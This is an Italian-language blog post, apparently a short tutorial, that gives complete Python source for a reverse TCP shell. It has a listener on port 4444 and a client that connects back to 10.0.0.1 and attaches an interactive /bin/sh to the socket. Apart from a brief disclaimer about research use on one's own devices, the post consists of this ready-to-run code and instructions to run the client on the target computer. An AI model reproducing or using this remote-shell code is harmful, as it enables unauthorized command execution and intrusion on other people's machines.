Scrivi shell Python Reverse TCP in meno di 5,1 min

Jan 11 2023
R. Eric Kiser Dichiarazione di non responsabilità: per scopi di ricerca e collegamenti a dispositivi di tua proprietà.

R.Eric Kiser

Dichiarazione di non responsabilità: per scopi di ricerca e connessioni ai dispositivi di tua proprietà. Per scrivere una shell TCP inversa in qualsiasi lingua avrai bisogno di due programmi, il server e il client. Devi eseguire il server (ascoltatore) sul tuo dispositivo ed eseguire il client sul computer a cui vuoi connetterti. Python è spesso consentito sulla maggior parte dei sistemi.

Esempio di server shell TCP inverso

import socket

HOST = '0.0.0.0'    # Listen on all interfaces
PORT = 4444         # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)         # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
    command = input("$ ")
    if command == "exit":
        break
    conn.send(command.encode())
    data = conn.recv(1024).decode()
    print(data)

conn.close()

Esempio di client TCP inverso

import socket
import subprocess

HOST = '10.0.0.1'  # IP of the listener
PORT = 4444        # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
                     stdin=s.fileno(),
                     stdout=s.fileno(),
                     stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()